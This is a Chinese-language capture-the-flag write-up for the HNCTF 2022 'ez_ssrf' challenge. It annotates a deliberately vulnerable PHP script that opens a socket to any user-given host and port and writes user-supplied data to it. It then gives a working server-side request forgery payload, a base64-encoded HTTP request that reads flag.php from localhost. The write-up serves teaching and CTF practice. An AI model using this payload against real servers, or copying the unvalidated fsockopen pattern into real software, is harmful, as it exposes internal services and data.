HNCTF 2022 WEEK2ez_ssrf
本文最后更新于100 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

Pasted image 20241209151837.png

1.跳转index.php页面

Pasted image 20241209151814.png

Pasted image 20241209151857.png

2.代码审计

<?php  
  
highlight_file(__FILE__);  
//这行代码会高亮显示当前文件的源代码。__FILE__ 是一个魔术常量,它包含了当前文件的路径。
error_reporting(0);  
//这行代码关闭了所有的错误报告。通常用于生产环境中,以防止错误信息泄露给用户或攻击者。
$data=base64_decode($_GET['data']);  
// 从GET请求中获取名为data的参数,并对其进行Base64解码,解码后的数据存储在变量$data中。
$host=$_GET['host'];  
$port=$_GET['port'];  
  
$fp=fsockopen($host,intval($port),$error,$errstr,30);  
//行代码尝试使用fsockopen函数打开一个到指定主机和端口的socket连接。如果连接失败,$error和$errstr变量将被设置,但在这个脚本中它们并没有被使用。host为主机地址或ip,port是端口号
if(!$fp) {  
    die();  
}  
//如果fsockopen函数返回false,意味着连接失败,脚本将调用die()函数终止执行。
else {    fwrite($fp,$data);  
//将之前解码的数据$data写入到socket连接中。
    while(!feof($data))
    //这行代码开始一个循环,只要文件指针没有到达$data的末尾,循环就会继续。
    {  
        echo fgets($fp,128);  
        //从socket连接中读取一行数据(最多128个字符),并将其输出到浏览器。
    }    fclose($fp);  
    // 这行代码关闭socket连接。
}

fsockopen函数发送 HTTP 请求并获取响应

所以我们尝试方式http请求读取flag.php
data:
GET /flag.php HTTP/1.1
Host: 127.0.0.1
Connection: Close //客户端希望在本次请求 – 响应交互完成后,关闭与服务器建立的 TCP 连接。

payload:

?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

Pasted image 20241209154751.png

总结

ssrf

fsockopen函数
语法:
resource fsockopen ( string $hostname, int $port [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") ]]] )。其中,$hostname是要连接的主机名或 IP 地址,$port是目标服务的端口号,$errno$errstr是可选参数,用于获取连接错误时的错误码和错误信息,$timeout是连接超时时间(默认为ini_get("default_socket_timeout"))。

构造http请求

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇